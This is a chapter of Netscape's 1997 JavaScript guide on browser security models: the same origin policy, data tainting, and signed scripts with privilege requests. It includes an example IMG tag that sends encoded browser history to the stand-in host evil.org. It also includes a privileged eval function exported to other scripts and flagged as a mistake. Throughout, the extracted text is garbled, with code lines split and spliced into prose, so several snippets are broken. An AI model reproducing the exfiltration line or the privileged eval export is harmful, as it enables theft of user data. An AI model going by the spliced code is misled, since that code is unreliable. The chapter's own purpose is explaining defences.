This chapter describes the security models of the JavaScript language for Navigator 2.0 and later releases. This model was extended significantly between the Navigator 3.0 and Navigator 4.0 releases.
In all releases, the same origin policy is the default policy. The policy restricts getting or setting properties based on document server and is described in "Same Origin Policy".
In Navigator 3.0, you could use data tainting to get access to additional information. "Using Data Tainting in Navigator 3.0" describes data tainting.
Navigator 4.0 removes data tainting and instead adds the signed script policy. This new policy for JavaScript is based upon the new Java security model, called object signing. To make use of the new policy in JavaScript, you must use the new Java security classes and then sign your JavaScript scripts. "Using Signed Scripts in Navigator 4.0" describes signed scripts.
Here, Navigator defines the origin as the substring of a URL that includes protocol://host
where host
includes the optional :port
part. To illustrate, Table 7.1 gives examples of origin comparisons to the URL http://company.com/dir/page.html
.
Table 7.1 Same origin comparisons
document.domain = "company.com";After execution of that statement, the page would pass the origin check with
http://company.com/dir/page.html
.Table 7.2 lists the properties that can be accessed only by scripts that pass the same origin check.
Table 7.2 Properties subject to origin check
document.forms
array was. In Navigator 4.0, named forms are also subject to an origin check. This can cause existing code to break.
You can easily work around the resulting security errors. To do so, create a new variable as a property of the window
object, setting the named form as the value of the variable. You can then access that variable (and hence the form) through the window
object.
<SCRIPT SRC="...">
to load a JavaScript file, the URL specified in the SRC
attribute could be any URL type (file:
, http:
, and so on), regardless of the URL type of the file that contained the SCRIPT
tag.
In Navigator 4.0, if you load a document with any URL other than a file:
URL, and that document itself contains a <SCRIPT SRC="...">
tag, the internal SRC
attribute can't refer to another file:
URL.
To get the 3.0 behavior in 4.0, users can add the following line to their preferences file:
user_pref("javascript.allow.file_src_from_non_file", true);However, be cautious with this preference. It opens a security hole. Users shouldn't set this preference to true unless they have some overriding reason for accepting that risk.
For information on layers, see Dynamic HTML in Netscape Communicator.
APPLET
tags to use Java applets. If an APPLET
tag has the MAYSCRIPT
attribute, that applet can use JavaScript. In this situation, the applet is subject to origin checks when calling JavaScript. For this purpose, the origin of the applet is the URL of the document that contains the APPLET
tag.Table 7.3 Properties tainted by default
You can taint and untaint properties, variables, functions, and objects, as described in "Tainting and Untainting Individual Data Elements". You cannot untaint another server's properties or data elements.
NS_ENABLE_TAINT
environment variable as follows:setenv
command in csh.set
in autoexec.bat
or NT user settings.NS_ENABLE_TAINT
text at the end of the resource.NS_ENABLE_TAINT
can have any value; "1" will do.If the end user does not enable tainting and a script attempts to access properties of a window on another server, a message is displayed indicating that access is not allowed.
if (navigator.taintEnabled()) {See
function1()
}
else function2()
taintEnabled
in the JavaScript Reference.
You control the tainting of data elements with two functions: taint
adds tainting to a data element, and untaint
removes tainting from a data element. These functions each take a single data element as an argument.
untaintedStat=untaint(window.defaultStatus)Neither
// untaintedStat can now be sent in a URL or form post by other scripts
taint
nor untaint
modifies its argument; rather, both functions return a marked or unmarked reference to the argument
object, or copy of the primitive type value (number or boolean value). The mark is called a taint code. JavaScript assigns a unique taint code to each server's data elements. Untainted data has the identity (null) taint code.
See taint
and untaint
in the JavaScript Reference.
if
, for
, and while
statements. The accumulator mixes different taint codes to create new codes that identify the combination of data origins (for example, serverA, serverB, or serverC).The taint accumulator is reset to identity only if it contains the current document's original taint code. Otherwise, taint accumulates until the document is unloaded. All windows loading documents from the same origin share a taint accumulator.
You can add taint to or remove taint from a window's taint accumulator.
taint
with no argument. JavaScript adds the current document's taint code to the accumulator.untaint
with no argument. Calling untaint
with no arguments removes taint from the accumulator only if the accumulator holds taint from the current window only; if it holds taint from operations done on data elements from other servers, untaint
will have no effect. Removing taint from the accumulator results in the accumulator having only the identity taint code.
Accumulated taint propagates across setTimeout
and into the evaluation of the first argument to setTimeout
. It propagates through document.write
into generated tags, so that a malicious script cannot signal private information such as session history by generating an HTML tag with an implicitly-loaded URL SRC
parameter such as the following:
document.write("<IMG SRC=http://evil.org/cgi.bin/fake-img?" +This document describes the security model used by JavaScript in Navigator 4.x and provides information on how you can use the new security features to create signed JavaScript scripts.
encode(history) + ">")
There are two security policies in JavaScript:
SCRIPT
tag), event handlers, JavaScript entities, and separate JavaScript files.SecurityManager
class. You can use these classes to exercise fine-grained control over activities beyond the "sandbox"--the Java term for the carefully defined limits within which Java code must otherwise operate.All access-control decisions boil down to who is allowed to do what. In this model, a principal represents the "who," a target represents the "what," and the privileges associated with a principal represent the authorization (or denial of authorization) for a principal to access a specific target.
NOTE: Navigator 3.0 provided data tainting to provide a means of secure access to specific components on a page. Because signed scripts provide greater security than tainting, tainting has been disabled in Navigator 4.x.
If you have an SSL server, this is a much simpler way to get your scripts to act as though they were signed. This is particularly helpful if you dynamically generate scripts on your server and want them to behave as if signed.
For information on setting up a Netscape server as an SSL server, see Managing Netscape Servers.
For deployment, your scripts should not rely on codebase principals being enabled. You might want to enable codebase principals when developing your scripts, but you should sign them before delivery.
user_pref("signed.applets.codebase_principal_support", true);Even when codebase principals are disabled, Navigator keeps track of codebase principals to use in enforcement of the same origin security policy, described in "Same Origin Policy". Unsigned scripts have an associated set of principals that contains a single element, the codebase principal for the page containing the script. Signed scripts also have codebase principals in addition to the stronger certificate principals.
NOTE:
If a page includes signed scripts and codebase scripts, and
signed.applets.codebase_principal_support
is enabled, all of the scripts
on that page are treated as though they are unsigned and codebase principals
apply.
For more information on codebase principals, see Introduction to the Capabilities Classes.final
in Java cannot be extended and so is protected from an attacker. On the other hand, because JavaScript has no concept of public and private methods, there are no internal methods that could be protected by simply signing a class. In addition, all methods can be changed at runtime, so must be protected at runtime.
This assumption also means that if a signed script is on the same page as an unsigned script, both scripts act as if they were unsigned. This occurs because the signed script has a codebase principal and a certificate principal, whereas the unsigned script has only a codebase principal. (See "Codebase Principals".) The two codebase principals are always the same for scripts from the same page; therefore, the intersection of the principals of the two scripts yields only the codebase principal. This is also what happens if both scripts are unsigned.
You can use the import
and export
functions to allow scripts signed by different principals to interact in a secure fashion. For information on how to do so, see "Importing and Exporting Functions".
These cross-container checks apply to most properties, whether predefined (by Navigator) or user-defined (whether by HTML content, or by script functions and variables). The cross-container checks do not apply to the following properties of window
:
closed
height
outerHeight
outerWidth
pageXOffset
pageYOffset
screenX
screenY
secure
width
Figure 7.1 Assigning principals to layers.
Now assume the unsigned script is in a layer on the page. This results in different behavior. In this case, when Navigator sees the unsigned script, its principals are again compared to those of the signed script in the window and the principals are found to be different. However, now that the innermost container (the layer) has no associated principals, the unsigned principals are associated with the innermost container; the outer container (the window) is untouched. In this case, signed scripts continue to operate as signed. However, accesses by the unsigned script in the layer to objects outside the layer are rejected because the layer has insufficient principals. See "Isolating an Unsigned Layer within a Signed Container" for more information on this case.
javascript:
URLs. You must identify the thing you're signing within the HTML file:ARCHIVE
attribute and an ID
attribute to the SCRIPT
tag for the script you want to sign. If you do not include an ARCHIVE
attribute, Navigator uses the ARCHIVE
attribute from an earlier script on the same page.ID
attribute for the event handler to the tag containing the event handler. In addition, the HTML page must also contain a signed inline script preceding the event handler. That SCRIPT
tag must supply the ARCHIVE
attribute.SCRIPT
tag must supply the ARCHIVE
and ID
attributes.SCRIPT
tag for the script that uses that file must contain the ARCHIVE
attribute. SCRIPT
tag's ARCHIVE
attribute whose value is the name of the JAR file containing the digital signature. For example, to sign a JavaScript file, you could use this tag:<SCRIPT ARCHIVE="myArchive.jar" SRC="myJavaScript.js"> </SCRIPT>Event handler scripts do not directly specify the
ARCHIVE
. Instead, the handler must be preceded by a script containing ARCHIVE
. For example:<SCRIPT ARCHIVE="myArchive.jar" ID="a">
...
</SCRIPT>
<FORM>Unless you use more than one JAR file, you need only specify the file once. Include the
<INPUT TYPE="button" VALUE="OK"
onClick="alert('A signed script')" ID="b">
</FORM>
ARCHIVE
tag in the first script on the HTML page and the remaining scripts on the page use the same file. For example:<SCRIPT ARCHIVE="myArchive.jar" ID="a">
document.write("This script is signed.");
</SCRIPT>
<SCRIPT ID="b">
document.write("This script is signed too.");
</SCRIPT>
ID
attribute. The value of this attribute is a string that relates the script to its signature in the JAR file. The ID
must be unique within a JAR file.
When a tag contains more than one event handler script, you only need one ID
. The entire tag is signed as one piece.
<HTML>
<SCRIPT ARCHIVE="firstArchive.jar" ID="a">
document.write("This is a signed script.");
</SCRIPT>
<BODY
onLoad="alert('A signed script using firstArchive.jar')"
onLoad="alert('One ID needed for these event handler scripts')"
ID="b">
<SCRIPT SRC="myJavaScript.js">
</SCRIPT>
<LAYER>
<SCRIPT ARCHIVE="secondArchive.jar" ID="a">
document.write("This script uses the secondArchive.jar file.");
</SCRIPT>
</LAYER>
</BODY>
</HTML>
In the simplest case, you add one line of code asking permission to access a particular target representing the resource you want to access. (See "Targets" for more information.) For example:
netscape.security.PrivilegeManager.enablePrivilege("UniversalSendMail")When the script calls this function, the signature is verified, and if the signature is valid, expanded privileges can be granted. If necessary, a dialog displays information about the application's author, and gives the user the option to grant or deny expanded privileges.
Privileges are granted only in the scope of the requesting function and only after the request has been granted in that function. This scope includes any functions called by the requesting function. When the script leaves the requesting function, privileges no longer apply.
The following example demonstrates this by printing:
7: disabledFunction
5: disabled
2: disabled
3: enabled
1: enabled
4: enabled
6: disabled
8: disabled
g
requests expanded privileges, and only the commands and functions called after the request and within function g
are granted privileges.<SCRIPT ARCHIVE="ckHistory.jar" ID="a">
function printEnabled(i) {
if (history[0] == "") {
document.write(i + ": disabled<BR>");
} else {
document.write(i + ": enabled<BR>");
}
}
function f() {
printEnabled(1);
}
function g() {
printEnabled(2);
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
printEnabled(3);
f();
printEnabled(4);
}
function h() {
printEnabled(5);
g();
printEnabled(6);
}
printEnabled(7);
h();
printEnabled(8);
</SCRIPT>
For a complete list of targets, see Netscape System Targets.
UniversalFileRead
.mailto:
or news:
URL requires UniversalSendMail
.about:
URL other than about:blank
requires UniversalBrowserRead
.event
object: Setting any property requires UniversalBrowserWrite
.DragDrop
event: Getting the value of the data
property requires UniversalBrowserRead
.history
object: Getting the value of any property requires UniversalBrowserRead
.navigator
object:preference
method requires UniversalPreferencesRead
.preference
method requires UniversalPreferencesWrite
.window
object: Allow of the following operations require UniversalBrowserWrite
.
<SCRIPT ARCHIVE="myArchive.jar" ID="a">
function getHistory(i) {
//Attempt to access privileged information
return history[i];
}
function getImmediateHistory() {
//Request privilege
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
return getHistory(1);
}
</SCRIPT>
...
<INPUT TYPE="button" onClick="alert(getImmediateHistory());" ID="b">
enableExternalCapture
method in a signed script requesting UniversalBrowserWrite
privileges. Use this method before calling the captureEvents
method. For example, with the following code the window can capture all Click events that occur across its frames. <SCRIPT ARCHIVE="myArchive.jar" ID="archive">
...
function captureClicks() {
netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite");
enableExternalCapture();
captureEvents(Event.CLICK);
...
}
...
</SCRIPT>
__parent__
property of the layer object to null
so that variable lookups performed by the script in the unsigned layer do not follow the parent chain up to the window
object and attempt to access the window
object's properties, which are protected by the container check.String
, Array
, Date
, and so on) are defined in the window
object and not normally in the layer, you must call the initStandardObjects
method of the layer
object. This creates copies of the standard objects in the layer's scope.Scripts that include international characters cannot be signed because the process of transforming the characters to the local character set invalidates the signature. To work around this limitation:
'0x\ea'
, and so on). import
and export
statements. Exporting a function name makes it available to be imported by scripts outside the container without being subject to a container test.
You can only import and export functions, either top-level functions (associated with a window
object) or methods of some other object. You cannot import or export entire objects or properties that aren't functions.
exportStmt ::= export exprListwhere each expr must resolve to the name of a function. The
exprList ::= expr | expr, exprList
export
statement marks each function as importable.
In the script in which you want to import that function, use the import
statement. The syntax of this statement is:
importStmt ::= import importListExecuting
importList ::= importElem | importElem, importList
importElem ::= expr.funName | expr.*
import
expr.funName evaluates expr and then imports the funName function of that object into the current scope. It is an error if expr does not evaluate to an object, if there is no function named funName, or if the function exists but has not been marked as importable. Executing import
expr.*
imports all importable functions of expr.containerAccess.html
defines the frameset and calls a user function when the frameset is loaded. One page, secureContainer.html
, has signed scripts and exports a function. The other page, access.html
, imports the exported function and calls it.While this example exports a function that does not enable or require expanded privileges, you can export functions that do enable privileges. If you do so, you should be very careful to not inadvertently allow access to an attacker. For more information, see "Be Careful What You Export".
The file containerAccess.html
contains this code:
<HTML>The file
<FRAMESET NAME=myframes ROWS="50%,*" onLoad="inner.myOnLoad()">
<FRAME NAME=inner SRC="access.html">
<FRAME NAME=secureContainer SRC="secureContainer.html">
</FRAMESET>
</HTML>
secureContainer.html
contains this code:<HTML>
This page defines a variable and two functions.
Only one function, publicFunction, is exported.
<BR>
<SCRIPT ARCHIVE="secureContainer.jar" LANGUAGE="JavaScript1.2" ID="a">
function privateFunction() {
return 7;
}
var privateVariable = 23;
function publicFunction() {
return 34;
}
export publicFunction;
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
document.write("This page is at " + history[0]);
// Privileges revert automatically when the script terminates.The file
</SCRIPT>
</HTML>
access.html
contains this code:<HTML>
This page attempts to access an exported function from a signed
container. The access should succeed.
<SCRIPT LANGUAGE="JavaScript1.2">
function myOnLoad() {
var ctnr = top.frames.secureContainer;
import ctnr.publicFunction;
alert("value is " + publicFunction());
}
</SCRIPT>
</HTML>
If you wish to prevent this, you can force your scripts to work only from your site.
<SCRIPT ARCHIVE="siteSpecific.jar" ID="a" LANGUAGE="JavaScript1.2">Then if the JAR file and script are copied to another site, they no longer work. If the person who copies the script alters it to bypass the check on the source of the script, the signature is invalidated.
if (document.URL.match(/^http:\/\/www.company.com\//)) {
netscape.security.PrivilegeManager.enablePrivilege(...);
// Do your stuff
}
</SCRIPT>
eval
that can operate under expanded privileges.<SCRIPT ARCHIVE="duh.jar" ID="a">Now any other script can import
function myEval(s) {
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalFileAccess");
return eval(s);
}
export myEval; // Don't do this!!!!
</SCRIPT>
myEval
and read and write any file on the user's hard disk using trust the user has granted to you.For example, the following code, if executed in a signed script with the user's approval, opens a new window containing the history of the browser:
<SCRIPT ARCHIVE="historyWin.jar" ID="a">The TCB in this instance is the entire script because privileges are acquired at the beginning and never reverted. You could reduce the TCB by rewriting the program as follows:
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserAccess");
var win = window.open();
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
win.close();
</SCRIPT>
<SCRIPT ARCHIVE="historyWin.jar" ID="a">With this change, the TCB becomes only the loop containing the accesses to the
var win = window.open();
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserAccess");
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
netscape.security.PrivilegeManager.revertPrivilege(
"UniversalBrowserAccess");
win.close();
</SCRIPT>
history
property. You could avoid the extra call into Java to revert the privilege by introducing a function:<SCRIPT ARCHIVE="historyWin.jar" ID="a">The privileges are automatically reverted when
function writeArray() {
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserAccess");
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
}
var win = window.open();
writeArray();
win.close();
</SCRIPT>
writeArray
returns, so you don't have to do so explicitly.UniversalBrowserAccess
, which is a macro target containing both UniversalBrowserRead
and UniversalBrowserWrite
. Only UniversalBrowserRead
is required to read the elements of the history
array, so you could rewrite the above code more securely:<SCRIPT ARCHIVE="historyWin.jar" ID="a">
function writeArray() {
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
}
var win = window.open();
writeArray();
win.close();
</SCRIPT>
For any script to be granted expanded privileges, all scripts on the same HTML page or layer must be signed. If you use layers, you can have both signed and unsigned scripts as long as you keep them in separate layers. For more information, see "Using Signed Scripts in Navigator 4.0".
You can sign JavaScript files (accessed with the SRC
attribute of the SCRIPT
tag), inline scripts, event handler scripts, and JavaScript entities. You cannot sign javascript:
URLs. Before you sign the script, be sure you've properly identified it, as described in "Identifying Signed Scripts".
signPages
) that uses Zigbert to sign your scripts and package the digital signature and related information in a JAR file.
The signPages
script extracts scripts from HTML files, signs them, and places their digital signatures in the archive specified by the ARCHIVE
attribute in the SCRIPT
tag from the HTML files. It also takes care of copying external JavaScript files loaded by the SRC
attribute of the SCRIPT
tag. The SCRIPT
tags in the HTML pages can specify more than one JAR file; if so, signPages
creates as many JAR files as it needs.
For more information on using these tools, see Zigbert User's Guide.
<SCRIPT ...>
and the closing </SCRIPT>
. For event handlers and JavaScript entities, you cannot change anything at all in the tag that includes the handler or entity.A change can be as simple as adding or removing whitespace in the script.
# Error: Invalid Hash of this JAR entry (-7882)The path value printed for signed JavaScript is either the value of the
# jar file: C:\Program Files\Netscape\Users\norris\cache\MVI9CF1F.JAR
# path: 1
ID
attribute or the SRC
attribute of the tag that supplied the script.
One good way to debug this sort of problem is to use the -s
option to signPages
, which will save the inline scripts in the JAR file. You can then unpack the jar file when you get the hash errors and compare it to the HTML file to track down the source of the problems. For information on signPages
, see Zigbert User's Guide.
If you have not enabled codebase principals and a script attempts to enable privileges for an unsigned script, it gets an exception from Java that the "user did not grant privilege". If you did enable codebase principals, you will see a Java security dialog that asking for permissions for the unsigned code.
This behavior is caused by either an error in verifying the certificate principals (which will cause an error to be printed to the Java console; see "Errors on the Java Console"), or by mixing signed and unsigned scripts. There are many possible sources of unsigned scripts. In particular, because there is no way to sign Javascript: URLs or dynamically generated scripts, using them causes the downgrading of principals.
Last Updated: 11/26/97 09:25:42